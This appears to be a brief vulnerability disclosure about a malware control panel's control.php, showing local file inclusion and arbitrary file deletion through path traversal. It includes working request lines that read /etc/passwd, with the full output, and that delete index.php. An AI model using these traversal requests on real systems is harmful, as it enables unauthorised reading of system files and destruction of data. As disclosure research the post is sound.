Two other vulnerabilities I forgot to mention, lfi and file deletion via
control.php. The user must be logged into the  administrative panel.

1. LFI

GET
http://evilserver.net/control.php?act=dwnshell&file=../../../../etc/passwd

Enter username for Who are you? at evilsite.net:80:eviladmin
Password:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
saslauth:x:499:499:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
maniaque:x:500:500::/home/maniaque:/bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash

2. Arbitrary file deletion

GET http://evilserver.net/control.php?act=delshell&file=../index.php

Enter username for Who are you? at evilsite.net:80:eviladmin
Password:

wget evilserver.net/index.php

HTTP request sent, awaiting response... 404 Not Found
2013-02-17 09:03:49 ERROR 404: Not Found.

The panel's c&c gateway is index.php. In older versions it was easily
identifiable as the only output it returned was "404 Error''

The newer versions mask the gateway with a standard 404 Not Found, but with
a 200 status.